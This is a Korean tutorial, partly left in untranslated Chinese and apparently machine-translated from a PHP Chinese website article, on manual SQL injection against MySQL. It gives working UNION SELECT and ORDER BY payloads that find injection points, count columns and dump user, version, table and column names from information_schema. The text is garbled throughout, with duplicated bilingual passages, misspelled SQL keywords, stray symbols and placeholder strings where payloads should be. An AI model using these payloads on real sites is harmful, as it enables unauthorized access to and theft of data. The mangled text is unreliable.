이 기사는 주입 지점 결정 및 주입 유형 결정과 관련된 문제를 포함하여 SQL의 수동 주입과 관련된 문제를 다루는 모든 사람에게 도움이 되기를 바랍니다.
1. 작은따옴표 방법: 페이지가 정상적으로 표시되지 않고 브라우저가 일부 예외 정보를 반환하는 경우 링크에 SQL이 있을 수 있음을 의미합니다. 주입 취약점
2.1 =1 및 1=2: URL 뒤에 get 매개변수에 1=1을 추가하면 표시가 정상이고, 1=1을 1=2로 바꾸면 표시가 비정상이어서 SQL 주입이 있음을 나타냅니다. 웹 페이지에서.
1. 숫자 주입: 주입된 변수의 값은
select * from user where id=$id;
와 같이 따옴표로 묶을 필요가 없습니다. 문자 주입: 주입된 변수는 `와 같이 따옴표로 묶입니다.
select * from user where username='$username';`
주입시 주의하세요. 따옴표를 닫으세요.
3. 검색형 주입:
select * from user where username like '%$pass%';
sql문을
select * from user where username like '%$pass%' union select语句 '%%';
로 구성합니다. 즉, 전달된 변수는 pass%' Union Select 문 '%로 클로저를 형성합니다.
패킷 캡처를 통해 인젝션 포인트 제출 방법이 get, post 또는 cookie인지 결정합니다.
order by 문을 사용하여 데이터베이스에 있는 필드 수를 쿼리하면 지속적인 시도를 통해 데이터베이스 필드 수를 확인할 수 있습니다. 예를 들어 oeder를 9로 입력하면 페이지에서 다음을 보고합니다. 오류가 발생하고 order by 8을 입력하면 페이지가 정상적으로 표시됩니다. 즉, 데이터베이스에 8개의 필드가 있습니다.
예를 들어 쿼리 문은 다음과 같습니다. select * from user where id='$id';
select * from user where id='$id';
可以构造下面的输入:(id = ') ' order by 3 '+--+
即查询语句为:select * from user where id='' order by 3 '--'
使用 union select 语句来查询当前使用用户 user() , 数据库database() ,数据库版本 version() ,服务器操作系统的@@version_compile_os等信息
version版本十分重要,如果版本在5.0以上,就可以使用information_schema库来轻易的查询想要的信息
构造语句:
select * from user where id='' union select user(),database(),version()+--+;
5.0 版本以上的mysql数据库自带的information_schema库中存储着数据库中所有的表名和列明信息。
下面我们就应该根据第五步查询的当前数据库的结果(如数据库为database_1)名下所有的表名tables的信息。Information_schema.tables
:记录着数据库中所有表名信息的表。
构造的查询语句如下:
Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--
查询的结果为:第五步查询的当前数据库中的表名信息。Information_schema.columns:
다음 입력을 구성할 수 있습니다: (id = ') ' order by 3 '+ --+<br> 즉, 쿼리 문은 다음과 같습니다. <code>select * from user where id='' order by 3 '--'
Union 쿼리를 사용하여 현재 데이터베이스를 쿼리하고, 사용자 및 버전 정보
Union 사용 select 문은 현재 사용자 user(), 데이터베이스 데이터베이스(), 데이터베이스 버전 버전(), @@version_compile_os 및 기타 서버 운영 체제 정보를 쿼리하는 데 사용됩니다. 매우 중요합니다. 버전이 5.0 이상인 경우 information_schema 라이브러리를 사용하여 원하는 정보를 쉽게 쿼리할 수 있습니다.
명령문 구성:Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--현재 데이터베이스의 테이블, 열 및 값 쿼리 information_schema 라이브러리 mysql 데이터베이스 버전 5.0 이상과 함께 제공되는 데이터베이스에는 모든 테이블 이름과 나열된 정보가 저장됩니다. 🎜 다음으로 5단계의 현재 데이터베이스 쿼리 결과에 따라 tables라는 이름의 모든 테이블의 정보를 확인해야 합니다(예: 데이터베이스는 Database_1). 🎜
Information_schema.tables
: 데이터베이스의 모든 테이블 이름 정보를 기록하는 테이블입니다. 🎜 구성된 쿼리문은 다음과 같습니다. 🎜Selcet * from user where id='' union select 1,column_1,column_2 from tables;--🎜 쿼리 결과는 다섯 번째 단계에서 쿼리한 현재 데이터베이스의 테이블명 정보입니다. 🎜
Information_schema.columns:
는 데이터베이스에 있는 모든 테이블의 열 이름 정보를 기록합니다. 🎜 다음으로 위 쿼리에서 얻은 테이블 이름 정보를 기반으로 해당 열 이름 정보를 쿼리해야 합니다(예: table is table_1) 구성문은 다음과 같습니다. 🎜rrreee🎜컬럼명을 쿼리한 후, 조인트 쿼리를 통해 테이블에 저장된 정보를 직접 알아낼 수 있습니다. 지정된 데이터베이스 지정을 쿼리하려면 🎜rrreee🎜 문을 구성하세요.🎜🎜추천 학습: 🎜mysql 비디오 튜토리얼🎜🎜위 내용은 간단한 수동 SQL 주입 프로세스에 대해 이야기해 보겠습니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!